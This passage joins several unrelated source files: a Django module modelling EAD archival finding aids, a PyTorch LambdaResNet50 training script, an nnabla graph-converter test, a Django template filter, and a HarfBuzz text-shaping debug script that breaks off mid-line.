"{%s}geogname" % eadmap.EAD_NAMESPACE @property def uri(self): ''''Generate a URI for this name if possible, based on source and authfilenumber attributes. Currently supports viaf, geonames, and dbpedia sources. ''' if self.source == 'viaf': return 'http://viaf.org/viaf/%s' % self.authfilenumber elif self.source == 'geonames': return 'http://sws.geonames.org/%s/' % self.authfilenumber elif self.source == 'dbpedia': return 'http://dbpedia.org/resource/%s' % self.authfilenumber class PhysicalDescription(eadmap._EadBase): '''Custom `physdesc` object, to handle customized display of extent tags. Extent tags can be repeated and some of them may provide parallel or equivalent information, but there is no way to indicate this in EAD2. Other extents provide additional information, and thus are separated in the text with commas or a text string such as "and". In some cases (i.e., highlighted search results) empty text nodes are omitted by eXist, but required for display. ''' ROOT_NAME = 'physdesc' #: extents or text nodes, in order elements = xmlmap.NodeListField('e:extent|text()', xmlmap.XmlObject) extent_tag = '{%s}extent' % eadmap.EAD_NAMESPACE def __unicode__(self): count = 0 text = [] # list of text segments to be combined for element in self.elements: # due to spacing issues / missing text nodes in certain # cases (particularly when search term highlighting is # enabled), force a space before any extent tag if getattr(element.node, 'tag', None) == self.extent_tag: if count > 0: text.append(' ') count += 1 # add current node text content text.append(unicode(element)) return normalize_whitespace(''.join(text)) class FindingAid(XmlModel, eadmap.EncodedArchivalDescription): """ Customized version of :class:`eulxml.EncodedArchivalDescription` EAD object. Additional fields and methods are used for search, browse, and display. """ ROOT_NAMESPACES = { 'e': eadmap.EAD_NAMESPACE, 'xlink': eadmap.XLINK_NAMESPACE, 'exist': 'http://exist.sourceforge.net/NS/exist', 'util': 'http://exist-db.org/xquery/util', } # redeclaring namespace from eulxml to ensure prefix is correct for xpaths # NOTE: overridding these fields from EncodedArchivalDescription to allow # for efficiently retrieving unittitle and abstract in the full document OR # in the constructed return object returned from eXist for search/browse unittitle = xmlmap.NodeField('.//e:unittitle[not(ancestor::e:dsc)]', eadmap.UnitTitle) abstract = xmlmap.NodeField('.//e:abstract[not(ancestor::e:dsc)]', xmlmap.XmlObject) physical_descriptions = xmlmap.NodeListField('.//e:physdesc[not(ancestor::e:dsc)]', PhysicalDescription) list_title_xpaths = [ "e:archdesc/e:did/e:origination/e:corpname", "e:archdesc/e:did/e:origination/e:famname", "e:archdesc/e:did/e:origination/e:persname", "e:archdesc/e:did[count(e:origination/e:corpname|e:origination/e:famname|e:origination/e:persname) = 0]/e:unittitle" ] list_title_xpath = "|".join("./%s" % xp for xp in list_title_xpaths) # ./archdesc/did/origination/node()|./archdesc/did[not(origination/node())]/unittitle" # field to use for alpha-browse - any origination name, fall back to unit title if no origination list_title = xmlmap.NodeField(list_title_xpath, xmlmap.XmlObject) "list title used for alphabetical browse - any origination name, or unittitle if there is none" list_title_normalized = xmlmap.StringField('normalize-space(%s)' % list_title_xpath) 'list title variant with normalized whitespace, for searching' # first letter of title field first_letter = xmlmap.StringField("substring(normalize-space(%s),1,1)" % list_title_xpath) "First letter of list title" dc_subjects = xmlmap.StringListField('e:archdesc//e:controlaccess/e:subject[@encodinganalog = "650"] | \ e:archdesc//e:controlaccess/e:persname[@encodinganalog = "600"] | \ e:archdesc//e:controlaccess/e:corpname[@encodinganalog = "610"] | \ e:archdesc//e:controlaccess/e:corpname[@encodinganalog = "611"] | \ e:archdesc//e:controlaccess/e:geogname[@encodinganalog = "651"]', normalize=True) "control access fields that should be mapped to Dublin Core subject, based on encodinganalog attribute" dc_contributors = xmlmap.StringListField('e:archdesc//e:controlaccess/e:persname[@encodinganalog = "700"] | \ e:archdesc//e:controlaccess/e:corpname[@encodinganalog = "710"]', normalize=True) "control access fields that should be mapped to Dublin Core contributor, based on encodinganalog attribute" # convenience mapping for searching on subject fields subject = xmlmap.StringField('.//e:controlaccess') # local repository *subarea* - e.g., MARBL, University Archives repository = xmlmap.StringListField('.//e:subarea', normalize=True) # boosted fields in the index: must be searched to get proper relevance score boostfields = xmlmap.StringField('''.//e:titleproper | .//e:origination | .//e:abstract | .//e:bioghist | .//e:scopecontent | .//e:controlaccess''') # temporary manual mapping for processinfo, will be incorporated into a release of eulxml process_info = xmlmap.NodeField("e:archdesc/e:processinfo", eadmap.Section) # is mapped as single in eulxml.eadmap but could be multiple separatedmaterial_list = xmlmap.NodeListField("e:archdesc/e:separatedmaterial", eadmap.Section) relatedmaterial_list = xmlmap.NodeListField("e:archdesc/e:relatedmaterial", eadmap.Section) # match-count on special groups of data for table of contents listing # - administrative info fields _admin_info = ['userestrict', 'altformavail', 'relatedmaterial', 'separatedmaterial', 'acqinfo', 'custodhist', 'prefercite', 'appraisal'] # -- map as regular xmlmap field, for use when entire object is returned admin_info_matches = xmlmap.IntegerField( 'count(./e:archdesc/*[' + '|'.join(['self::e:%s' % field for field in _admin_info]) + ']//exist:match)') # -- eXist-specific xpath for returning count without entire document admin_info_matches_xpath = 'count(util:expand(%(xq_var)s/e:archdesc/(' + \ '|'.join(['e:%s' % field for field in _admin_info]) + '))//exist:match)' # - collection description fields _coll_desc = ['bioghist', 'bibliography', 'scopecontent', 'arrangement', 'otherfindaid'] # -- map as regular xmlmap field, for use when entire object is returned coll_desc_matches = xmlmap.IntegerField( 'count(' + '|'.join('./e:archdesc/e:%s//exist:match' % field for field in _coll_desc) + ')') # -- eXist-specific xpath for returning count without entire document coll_desc_matches_xpath = 'count(util:expand(%(xq_var)s/e:archdesc/(' + \ '|'.join('e:%s' % field for field in _coll_desc) + '))//exist:match)' # - controlaccess match-count controlaccess_matches_xpath = 'count(util:expand(%(xq_var)s/e:archdesc/e:controlaccess)//exist:match)' origination_name = xmlmap.NodeField('e:archdesc/e:did/e:origination/e:*', Name) 'origination name, as an instance of :class:`Name`' # dao anywhere in the ead, to allow filtering on finding aids with daos daos = xmlmap.NodeListField('.//e:dao', DigitalArchivalObject) #: count of public dao elements in a record, to support search filtering #: "public" is defined as audience external or not set, xlink:href present, #: and show not set to none. public_dao_count = xmlmap.IntegerField('count(.//e:dao[@xlink:href][not(@xlink:show="none")][not(@audience) or @audience="external"])') objects = Manager('/e:ead') """:class:`eulexistdb.manager.Manager` - similar to an object manager for django db objects, used for finding and retrieving FindingAid objects in eXist. Configured to use */ead* as base search path. """ @property def has_digital_content(self): '''boolean to indicate whether or not this EAD includes public digital content. .. Note:: If using partial xml return, requires that `public_dao_count` is included. ''' return self.public_dao_count >= 1 @property def stored_offsite(self): '''boolean to indicate if collection materials are stored offsite, based on text in the collection access restriction note. .. Note:: If using partial xml return, requires that `archdesc__access_restriction` is included. ''' return 'collection stored off-site' in \ unicode(self.archdesc.access_restriction).lower() def admin_info(self): """ Generate a list of administrative information fields from the archive description. Only includes MARBL-designated fields to be displayed as administrative information, in a specified order. Any fields not present in the finding aid will not be included in the list returned. These fields are included, in this order: access restrictions, use restrictions, alternate form, related material, separated material, acquisition info, custodial history, preferred citation :rtype: list of :class:`eulxml.xmlmap.eadmap.Section` """ info = [] if self.archdesc.access_restriction: info.append(self.archdesc.access_restriction) if self.archdesc.use_restriction: info.append(self.archdesc.use_restriction) if self.archdesc.alternate_form: info.append(self.archdesc.alternate_form) for rel_m in self.relatedmaterial_list: info.append(rel_m) for sep_m in self.separatedmaterial_list: info.append(sep_m) if self.archdesc.acquisition_info: info.append(self.archdesc.acquisition_info) if self.archdesc.custodial_history: info.append(self.archdesc.custodial_history) if self.archdesc.preferred_citation: info.append(self.archdesc.preferred_citation) if self.archdesc.appraisal: info.append(self.archdesc.appraisal) if self.process_info: info.append(self.process_info) return info def collection_description(self): """ Generate a list of collection description fields from the archive description. Only includes MARBL-designated fields to be displayed as collection description, in a specified order. Any fields not present in the finding aid will not be included in the list returned. These fields are included, in this order: biography/history, bibliography, scope & content, arrangement, other finding aid :rtype: list of :class:`eulxml.xmlmap.eadmap.Section` """ fields = [] if self.archdesc.biography_history: fields.append(self.archdesc.biography_history) if self.archdesc.bibliography: fields.append(self.archdesc.bibliography) if self.archdesc.scope_content: fields.append(self.archdesc.scope_content) if self.archdesc.arrangement: fields.append(self.archdesc.arrangement) if self.archdesc.other: fields.append(self.archdesc.other) return fields def dc_fields(self): """ Generate a dictionary of Dublin Core fields from an EAD. Dictionary key: base name of a Dublin Core field (e.g., creator, title) Dictionary value: a list of values corresponding to the DC field. Note that some keys may have empty lists as their values. :rtype: dict """ fields = dict() fields["title"] = set([self.title, self.unittitle]) fields["creator"] = set([name for name in [self.archdesc.origination] if name]) fields["publisher"] = set([self.file_desc.publication.publisher]) fields["date"] = set([date.normalized for date in [self.profiledesc.date] if date]) fields["language"] = set(self.profiledesc.language_codes) fields["subject"] = set(self.dc_subjects) fields["contributor"] = set(self.dc_contributors) fields["identifier"] = set([self.eadid.url]) return fields collection_id = xmlmap.StringField('e:archdesc/e:did/e:unitid/@identifier') def collection_uri(self): # URI to use in RDF for the archival collection, as distinguished # from the findingaid document that describes the collection and # the materials that it includes. if self.collection_id is not None and \ self.collection_id.startswith('http'): # if collection id is a URL, use that return self.collection_id else: # otherwise use findingaid ARK as base for collection URI return '%s#collection' % self.eadid.url def absolute_eadxml_url(self): ''' Generate an absolute url to the xml view for this ead for use with external services such as Aeon''' current_site = Site.objects.get_current() return ''.join([ 'http://', current_site.domain.rstrip('/'), reverse('fa:eadxml', kwargs={"id":self.eadid.value}) ]) def request_materials_url(self): ''' Construct the absolute url for use with external services such as Aeon''' if not hasattr(settings, 'REQUEST_MATERIALS_URL') or not settings.REQUEST_MATERIALS_URL: logger.warn("Request materials url is not configured.") return base = settings.REQUEST_MATERIALS_URL return ''.join([base, self.absolute_eadxml_url()]) def requestable(self): ''' Determines if the EAD is applicable for the electronic request service.''' # If the request url is not configured, then the request can't be generated. if not hasattr(settings, 'REQUEST_MATERIALS_URL') or not settings.REQUEST_MATERIALS_URL: return False if not hasattr(settings, 'REQUEST_MATERIALS_REPOS') or not settings.REQUEST_MATERIALS_REPOS: return False # If the item is in on of the libraries defined, then it should be displayed. return any([normalize_whitespace(repo) in settings.REQUEST_MATERIALS_REPOS for repo in self.repository]) class ListTitle(XmlModel): # EAD list title - used to retrieve at the title level for better query response ROOT_NAMESPACES = {'e': eadmap.EAD_NAMESPACE} xpath = "|".join("//%s" % xp for xp in FindingAid.list_title_xpaths) # xpath to use for alpha-browse - using list title xpaths from FindingAid # first letter of list title field (using generic item field to avoid string() conversion) first_letter = xmlmap.ItemField("substring(normalize-space(.),1,1)") "First letter of a finding aid list title: use to generate list of first-letters for browse." objects = Manager(xpath) def title_letters(): """Cached list of distinct, sorted first letters present in all Finding Aid titles. Cached results should be refreshed after half an hour.""" cache_key = 'browse-title-letters' if cache.get(cache_key) is None: letters = ListTitle.objects.only('first_letter').order_by('first_letter').distinct() cache.set(cache_key, list(letters)) # use configured cache timeout return cache.get(cache_key) class EadRepository(XmlModel): ROOT_NAMESPACES = {'e': eadmap.EAD_NAMESPACE} normalized = xmlmap.StringField('normalize-space(.)') objects = Manager('//e:subarea') @staticmethod def distinct(): """Cached list of distinct owning repositories in all Finding Aids.""" cache_key = 'findingaid-repositories' if cache.get(cache_key) is None: # using normalized version because whitespace is inconsistent in this field repos = EadRepository.objects.only('normalized').distinct() cache.set(cache_key, list(repos)) # use configured default cache timeout return cache.get(cache_key) class LocalComponent(eadmap.Component): '''Extend default :class:`eulxml.xmlmap.eadmap.Component` class to add a method to detect first file-item in a list. (Needed for container list display in templates).''' ROOT_NAMESPACES = { 'e': eadmap.EAD_NAMESPACE, } # by local convention, section headers are sibling components with no containers preceding_files = xmlmap.NodeListField('preceding-sibling::node()[@level="file"][e:did/e:container]', "self") @property def first_file_item(self): 'Boolean: True if this component is the first file item in a series/container list' return len(self.did.container) and len(self.preceding_files) == 0 def title_rdf_identifier(src, idno): ''''Generate an RDF identifier for a title, based on source and id attributes. Currently supports ISSN, ISBN, and OCLC.''' # if either src or idno is None, bail out right away if src is None or idno is None: return src = src.lower() idno = idno.strip() # remove whitespace, just in case of errors in entry if src in ['isbn', 'issn']: # isbn and issn URNs have same format return 'urn:%s:%s' % (src.upper(), idno) elif src == 'oclc': return 'http://www.worldcat.org/oclc/%s' % idno class Title(xmlmap.XmlObject): '''A title in an EAD document, with access to attributes for type of title, render, source, and authfilenumber. ''' ROOT_NAMESPACES = {'e': eadmap.EAD_NAMESPACE} ROOT_NAME = 'title' type = xmlmap.StringField('@type') render = xmlmap.StringField('@render') source = xmlmap.StringField('@source') authfilenumber = xmlmap.StringField('@authfilenumber') value = xmlmap.StringField('.', normalize=True) @property def rdf_identifier(self): ''''RDF identifier for this title, if source and authfilenumber attributes are present and can be converted into a URI or URN''' return title_rdf_identifier(self.source, self.authfilenumber) class Series(XmlModel, LocalComponent): """ Top-level (c01) series. Customized version of :class:`eulxml.xmlmap.eadmap.Component` """ ROOT_NAMESPACES = { 'e': eadmap.EAD_NAMESPACE, 'exist': 'http://exist.sourceforge.net/NS/exist' } ead = xmlmap.NodeField("ancestor::e:ead", FindingAid) ":class:`findingaids.fa.models.FindingAid` access to ancestor EAD element" # NOTE: using [1] to get closest ancestor; in case of existdb 'also' # return result, possible to have nested ead elements. parent = xmlmap.NodeField("parent::node()", "self") objects = Manager('//e:c01') # NOTE: this element should not be restricted by level=series because eXist full-text indexing # is more efficient if the queried element matches the indexed element """:class:`eulxml.django.existdb.manager.Manager` - similar to an object manager for django db objects, used for finding and retrieving c01 series objects in eXist. Configured to use *//c01* as base search path. """ # temporary manual mapping for processinfo, should be incorporated into a release of eulxml process_info = xmlmap.NodeField("e:processinfo", eadmap.Section) match_count = xmlmap.IntegerField("count(.//exist:match)") ":class:`findingaids.fa.models.FindingAid` number of keyword matchs" _unittitle_name_xpath = '|'.join('e:did/e:unittitle/e:%s' % t for t in ['persname', 'corpname', 'geogname']) #: tagged name in the unittitle; used for RDFa output unittitle_name = xmlmap.NodeField(_unittitle_name_xpath, Name) 'name in the unittitle, as an instance of :class:`Name`' #: list of tagged names in the unittite; used for RDFa output unittitle_names = xmlmap.NodeListField(_unittitle_name_xpath, Name) 'names in the unittitle, as a list of :class:`Name`' #: list of titles in the unittitle; used for RDFa output unittitle_titles = xmlmap.NodeListField('e:did/e:unittitle/e:title', Title) 'list of titles in the unittitle, as :class:`Title`' #: title of the nearest ancestor series; #: used to determine what kind of content this is, for default rdf type series_title = xmlmap.StringField('''ancestor::e:c03[@level="subsubseries"]/e:did/e:unittitle |ancestor::e:c02[@lavel="subseries"]/e:did/e:unittitle |ancestor::e:c01[@level="series"]/e:did/e:unittitle''', normalize=True) def series_info(self): """" Generate a list of sereies information fields. Only includes MARBL-designated fields to be displayed as part of series description, in a specified order. Any fields not present in the finding aid will not be included in the list returned. These fields are included, in this order: biography/history, scope & content, arrangement, other finding aid, use restrictions, access restrictions, alternate form, location of original, bibliography :rtype: list of :class:`eulxml.xmlmap.eadmap.Section` """ fields = [] if self.biography_history: fields.append(self.biography_history) if self.scope_content: fields.append(self.scope_content) if self.arrangement: fields.append(self.arrangement) if self.appraisal: fields.append(self.appraisal) if self.other: fields.append(self.other) if self.use_restriction: fields.append(self.use_restriction) if self.access_restriction: fields.append(self.access_restriction) if self.alternate_form: fields.append(self.alternate_form) if self.originals_location: fields.append(self.originals_location) if self.bibliography: fields.append(self.bibliography) if self.related_material: fields.append(self.related_material) if self.process_info: fields.append(self.process_info) return fields def display_label(self): "Series display label - *unitid : unittitle* (if unitid) or *unittitle* (if no unitid)" return ': '.join([unicode(u) for u in [self.did.unitid, self.did.unittitle] if u]) _short_id = None @property def short_id(self): "Short-form id (without eadid prefix) for use in external urls." if self._short_id is None: # get eadid, if available if hasattr(self, 'ead') and hasattr(self.ead, 'eadid') and self.ead.eadid.value: eadid = self.ead.eadid.value else: eadid = None self._short_id = shortform_id(self.id, eadid) return self._short_id @property def has_semantic_data(self): '''Does this item contains semantic data that should be rendered with RDFa? Currently checks the unittitle for a tagged person, corporate, or geographic name or for a title with source and authfilenumber attributes.''' # - if there is at least one tagged name in the unittitle semantic_tags = [self.unittitle_name] # - if there are titles tagged with source/authfilenumber OR titles # with a type # NOTE: eventually, we will probably want to include all tagged titles, # but for now, restrict to titles that have been enhanced in a particular way semantic_tags.extend([t for t in self.unittitle_titles if (t.source and t.authfilenumber) or t.type]) return any(semantic_tags) @property def contains_correspondence(self): 'Boolean property indicating if this series containes correspondence.' return 'correspondence' in unicode(self.did.unittitle).lower() @property def rdf_type(self): ''''rdf type to use for a semantically-tagged component item''' # NOTE: initial implementation for Belfast Group sheets assumes manuscript # type; should be refined for other types of content rdf_type = None if self.unittitle_titles: # if type of first title is article, return article if self.unittitle_titles[0].type and \ self.unittitle_titles[0].type.lower() == 'article': rdf_type = 'bibo:Article' # if two titles and the second has an issn, article in a periodical # (TODO: is this close enough for all cases?) elif len(self.unittitle_titles) == 2 and self.unittitle_titles[1].source \ and self.unittitle_titles[1].source.upper() == 'ISSN': rdf_type = 'bibo:Article' # if title has an isbn, assume it is a book # - for now, also assume OCLC source is book (FIXME: is this accurate?) elif self.unittitle_titles[0].source \ and self.unittitle_titles[0].source.upper() in ['ISBN', 'OCLC']: rdf_type = 'bibo:Book' else: rdf_type = self.generic_rdf_type_by_series() # if there are no titles but there is a name with a role of creator, # the component describes some kind of entity, so set the type # based on series elif self.unittitle_names and 'dc:creator' in [n.role for n in self.unittitle_names]: rdf_type = self.generic_rdf_type_by_series() return rdf_type def generic_rdf_type_by_series(self): '''Calculate a generic RDF type based on the series an item belongs to. Using bibo:Document for printed material, bibo:Image for photographs, bibo:AudioVisualDocument for audio/visual materials, with a fallback of bibo:Manuscript.''' if self.series_title: series_title = self.series_title.lower() # if in a Printed Material series, assume bibo:Document # - printed material is usually included in text for series and # subseries names if 'printed material' in series_title: return 'bibo:Document' # if in a Photographs series, use bibo:Image elif 'photograph' in series_title: return 'bibo:Image' # if in an AudioVisual series, use bibo:AudioVisualDocument elif 'audiovisual' in series_title or \ 'audio recordings' in series_title or \ 'video recordings' in series_title: # audiovisual usually used at top-level, audio/video rec. used for subseries return 'bibo:AudioVisualDocument' # otherwise, use bibo:Manuscript return 'bibo:Manuscript' @property def rdf_identifier(self): # if the item in the unittitle has an rdf identifier, make it available # for use in constructing RDFa in the templates # for now, assuming that the first title listed is the *thing* # in the collection. If we can generate an id for it (i.e., # it has a source & authfilenumber), use that if self.unittitle_titles: return self.unittitle_titles[0].rdf_identifier # NOTE: previously, was only returning an rdf identifier for a # single title # for now, only return when these is one single title # if len(self.unittitle_titles) == 1 : # return self.unittitle_titles[0].rdf_identifier @property def rdf_mentions(self): # names related to the title that should also be related to the collection # titles after the first two need to be handled separately here also return self.rdf_type is not None and len(self.unittitle_names) \ or len(self.unittitle_titles) > 1 @property def mention_titles(self): # list of secondary titles that should be mentioned # if we have a multiple titles with an author, the titles # are being treated as a list and should not be exposed # (i.e., belfast group sheets) if self.unittitle_names and any(n.role for n in self.unittitle_names) \ or len(self.unittitle_titles) <= 1: return [] else: # return all but the first title return list(self.unittitle_titles)[1:] # override component.c node_class # subcomponents need to be initialized as Series to get display_label, series list... # FIXME: look for a a better way to do this kind of XmlObject extension eadmap.Component._fields['c'].node_class = Series eadmap.SubordinateComponents._fields['c'].node_class = Series # override DigitalArchivalObject with local version eadmap.DescriptiveIdentification._fields['dao_list'].node_class = DigitalArchivalObject eadmap.Component._fields['dao_list'].node_class = DigitalArchivalObject eadmap.ArchivalDescription._fields['dao_list'].node_class = DigitalArchivalObject def shortform_id(id, eadid=None): """Calculate a short-form id (without eadid prefix) for use in external urls. Uses eadid if available; otherwise, relies on the id delimiter character. :param id: id to be shortened :param eadid: eadid prefix, if available :returns: short-form id """ # if eadid is available, use that (should be the most reliable way to shorten id) if eadid: id = id.replace('%s_' % eadid, '') # if eadid is not available, split on _ and return latter portion elif ID_DELIMITER in id: eadid, id = id.split(ID_DELIMITER) # this shouldn't happen - one of the above two options should work else: raise Exception("Cannot calculate short id for %s" % id) return id class Series2(Series): """ c02 level subseries Customized version of :class:`eulxml.xmlmap.eadmap.Component`; extends :class:`Series` """ series = xmlmap.NodeField("parent::e:c01", Series) ":class:`findingaids.fa.models.Series` access to c01 series this subseries belongs to" objects = Manager('//e:c02') """:class:`eulexistdb.manager.Manager` Configured to use *//c02* as base search path. """ class Series3(Series): """ c03 level subseries Customized version of :class:`eulxml.xmlmap.eadmap.Component`; extends :class:`Series` """ series2 = xmlmap.NodeField("parent::e:c02", Series2) ":class:`findingaids.fa.models.Subseries` access to c02 subseries this sub-subseries belongs to" series = xmlmap.NodeField("ancestor::e:c01", Series) ":class:`findingaids.fa.models.Series` access to c01 series this sub-subseries belongs to" objects = Manager('//e:c03') """:class:`eulexistdb.manager.Manager` Configured to use *//c03* as base search path. """ class Index(XmlModel, eadmap.Index): """ EAD Index, with index entries. Customized version of :class:`eulxml.xmlmap.eadmap.Index` """ ROOT_NAMESPACES = { 'e': eadmap.EAD_NAMESPACE, 'xlink': eadmap.XLINK_NAMESPACE, 'exist': 'http://exist.sourceforge.net/NS/exist' } ead = xmlmap.NodeField("ancestor::e:ead", FindingAid) ":class:`findingaids.fa.models.FindingAid` access to ancestor EAD element" parent = xmlmap.NodeField("parent::node()", "self") objects = Manager('//e:index') """:class:`eulexistdb.manager.Manager` - similar to an object manager for django db objects, used for finding and retrieving index objects in eXist. Configured to use *//index* as base search path. """ match_count = xmlmap.IntegerField("count(.//exist:match)") _short_id = None @property def short_id(self): "Short-form id (without eadid prefix) for use in external urls." if self._short_id is None: # get eadid, if available if hasattr(self, 'ead') and hasattr(self.ead, 'eadid') and self.ead.eadid.value: eadid = self.ead.eadid.value else: eadid = None self._short_id = shortform_id(self.id, eadid) return self._short_id # FIXME: look for a a better way to do this kind of XmlObject extension eadmap.ArchivalDescription._fields['index'].node_class = Index class FileComponent(XmlModel, eadmap.Component): """ Any EAD component with a level of *file*, with item-level information (box & folder contents). """ ROOT_NAMESPACES = { 'e': eadmap.EAD_NAMESPACE, 'xlink': eadmap.XLINK_NAMESPACE, 'exist': 'http://exist.sourceforge.net/NS/exist' } ead = xmlmap.NodeField("ancestor::e:ead", FindingAid) ":class:`findingaids.fa.models.FindingAid` access to ancestor EAD element" # NOTE: mapping parent, series1, and series2 to ensure there is enough # information to generate a link to the series a FileComponent belongs to parent = xmlmap.NodeField("parent::node()", Series) ":class:`findingaids.fa.models.Series` series this file belongs to (could be c01, c02, or c03)." series1 = xmlmap.NodeField("ancestor::e:c01", Series) ":class:`findingaids.fa.models.Series` c01 series this file belongs to." series2 = xmlmap.NodeField("ancestor::e:c02", Series) ":class:`findingaids.fa.models.Series` c02 series this file belongs to, if any." #: count of public daos; same as in :attr:`FindingAid.public_dao_count` public_dao_count = xmlmap.IntegerField('count(.//e:dao[@xlink:href][not(@xlink:show="none")][not(@audience) or @audience="external"])') # objects = Manager('''(e:ead//e:c01|e:ead//e:c02|e:ead//e:c03|e:ead//e:c04)[@level="file"]''') # eXist can query *much* more efficiently on generic paths objects = Manager('''//*[@level="file"]''') """:class:`eulexistdb.manager.Manager` - similar to an object manager for django db objects, used for finding and retrieving c-series file objects in eXist. Configured to find any c-series (1-4) with a level of file. """ class Deleted(models.Model): """ Information about a previously published finding aid that has been deleted. """ eadid = models.CharField('EAD Identifier', max_length=50, unique=True) title = models.CharField(max_length=200) date = models.DateTimeField('Date removed', auto_now_add=True) note = models.CharField( max_length=400, blank=True, help_text="Optional: Enter the reason this document is being deleted. " + "These comments will be displayed to anyone who had the finding " + "aid bookmarked and returns after it is gone.") class Meta: verbose_name = 'Deleted Record' def __unicode__(self): return self.eadid class Archive(models.Model): '''Model to define Archives associated with EAD documents, for use with admin user permissions and to identify subversion repositories where content will be published from.''' label = models.CharField(max_length=10, help_text='Short label to identify an archive') name = models.CharField(max_length=255, help_text='repository name (subarea) in EAD to identify finding aids associated with this archive') svn = models.URLField('Subversion Repository', help_text='URL to subversion repository containing EAD for this archive') slug = models.SlugField(help_text='''shorthand id (auto-generated from label; do not modify after initial archive definition)''') contacts = models.ManyToManyField(settings.AUTH_USER_MODEL, help_text='Contact person for display on the Request Materials page (email required)', blank=True) def __unicode__(self): return self.label @property def svn_local_path(self): return os.path.join(settings.SVN_WORKING_DIR, self.slug) def contact_names(self): '''List of contact names method for display in django admin list display. Shows email if user has no full name.''' return ', '.join([contact.get_full_name() or contact.email for contact in self.contacts.all()]) contact_names.short_description = "Contacts" import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import os from config import load_config from preprocess import load_data from model import LambdaResNet50, get_n_params def save_checkpoint(best_acc, model, optimizer, args, epoch): print('Best Model Saving...') if args.device_num > 1: model_state_dict = model.module.state_dict() else: model_state_dict = model.state_dict() torch.save({ 'model_state_dict': model_state_dict, 'global_epoch': epoch, 'optimizer_state_dict': optimizer.state_dict(), 'best_acc': best_acc, }, os.path.join('checkpoints', 'checkpoint_model_best.pth')) def _train(epoch, train_loader, model, optimizer, criterion, args): model.train() losses = 0. acc = 0. total = 0. for idx, (data, target) in enumerate(train_loader): if args.cuda: data, target = data.cuda(), target.cuda() output = model(data) _, pred = F.softmax(output, dim=-1).max(1) acc += pred.eq(target).sum().item() total += target.size(0) optimizer.zero_grad() loss = criterion(output, target) losses += loss loss.backward() optimizer.step() if idx % args.print_intervals == 0 and idx != 0: print('[Epoch: {0:4d}], Loss: {1:.3f}, Acc: {2:.3f}, Correct {3} / Total {4}'.format(epoch, losses / (idx + 1), acc / total * 100., acc, total)) def _eval(epoch, test_loader, model, args): model.eval() acc = 0. with torch.no_grad(): for data, target in test_loader: if args.cuda: data, target = data.cuda(), target.cuda() output = model(data) _, pred = F.softmax(output, dim=-1).max(1) acc += pred.eq(target).sum().item() print('[Epoch: {0:4d}], Acc: {1:.3f}'.format(epoch, acc / len(test_loader.dataset) * 100.)) return acc / len(test_loader.dataset) * 100. def main(args): train_loader, test_loader = load_data(args) model = LambdaResNet50() print('Model Parameters: {}'.format(get_n_params(model))) optimizer = optim.SGD(model.parameters(), lr=args.lr, weight_decay=args.weight_decay, momentum=args.momentum) if not os.path.isdir('checkpoints'): os.mkdir('checkpoints') if args.checkpoints is not None: checkpoints = torch.load(os.path.join('checkpoints', args.checkpoints)) model.load_state_dict(checkpoints['model_state_dict']) optimizer.load_state_dict(checkpoints['optimizer_state_dict']) start_epoch = checkpoints['global_epoch'] else: start_epoch = 1 if args.cuda: model = model.cuda() if not args.evaluation: criterion = nn.CrossEntropyLoss() lr_scheduler = optim.lr_scheduler.CosineAnnealingWarmRestarts(optimizer, T_0=10, T_mult=2, eta_min=0.00001) global_acc = 0. for epoch in range(start_epoch, args.epochs + 1): _train(epoch, train_loader, model, optimizer, criterion, args) best_acc = _eval(epoch, test_loader, model, args) if global_acc < best_acc: global_acc = best_acc save_checkpoint(best_acc, model, optimizer, args, epoch) lr_scheduler.step() print('Current Learning Rate: {}'.format(lr_scheduler.get_last_lr())) else: _eval(start_epoch, test_loader, model, args) if __name__ == '__main__': args = load_config() main(args) daniel-falk/nnabla # Copyright 2021 Sony Group Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import import pytest import numpy as np import nnabla as nn import nnabla.experimental.graph_converters as GC from .ref_graphs.resnets import small_cf_resnet from .ref_graphs.lenets import lenet @pytest.mark.parametrize('seed', [313]) @pytest.mark.parametrize('graph', [lenet, small_cf_resnet]) def test_no_grad(seed, graph): from .graph_converter_test_utils import structure_tester, value_tester nn.clear_parameters() # Random number np.random.seed(seed) rng = np.random.RandomState(seed) # Graph x_data = rng.randn(4, 3, 32, 32) x0 = nn.Variable.from_numpy_array(x_data)\ .apply(need_grad=False) \ .apply(persistent=True) y0 = graph(x0) y1 = y0.no_grad() # Test def assert_need_grad_flase(f): for inp in f.inputs: assert inp.need_grad == False, "need_grad must be false" for out in f.outputs: assert out.need_grad == False, "need_grad must be false" y1.visit(assert_need_grad_flase) structure_tester(y0, y1) value_tester(y0, y1, clear_no_need_grad=True) from django.template import Library from django.contrib import messages register = Library() @register.filter def level2alert(lvl): ''' Translate django.contrib.auth message levels to bootstrap alert classes. ''' tr = { messages.SUCCESS: 'success', messages.WARNING: 'warning', messages.ERROR: 'danger', } return tr.get(lvl, 'info') #!/usr/bin/env python3 import sys import array from gi.repository import HarfBuzz as hb from gi.repository import GLib fontdata = open(sys.argv[1], 'rb').read() text = sys.argv[2] # Need to create GLib.Bytes explicitly until this bug is fixed: # https://bugzilla.gnome.org/show_bug.cgi?id=729541 blob = hb.glib_blob_create(GLib.Bytes.new(fontdata)) face = hb.face_create(blob, 0) del blob font = hb.font_create(face) upem = hb.face_get_upem(face) del face hb.font_set_scale(font, upem, upem) # hb.ft_font_set_funcs (font) hb.ot_font_set_funcs(font) buf = hb.buffer_create() class Debugger(object): def message(self, buf, font, msg, data, _x_what_is_this): print(msg) return True debugger = Debugger() hb.buffer_set_message_func(buf, debugger.message, 1, 0) ## ## Add text to buffer ## # # See https://github.com/harfbuzz/harfbuzz/pull/271 # # If you do not care about cluster values reflecting Python # string indices, then this is quickest way to add text to # buffer: # hb.buffer_add_utf8 (buf, text.encode('utf-8'), 0, -1) # Otherwise, then following handles both narrow and wide # Python builds (the first item in the array is BOM, so we skip it): if sys.maxunicode == 0x10FFFF: hb.buffer_add_utf32(buf, array.array('I', text.encode('utf-32'))[1:], 0, -1) else: hb.buffer_add_utf16(buf, array.array('H', text.encode('utf-16'))[1:], 0, -1) hb.buffer_guess_segment_properties(buf) hb.shape(font, buf, []) del font infos = hb.buffer_get_glyph_infos(buf) positions = 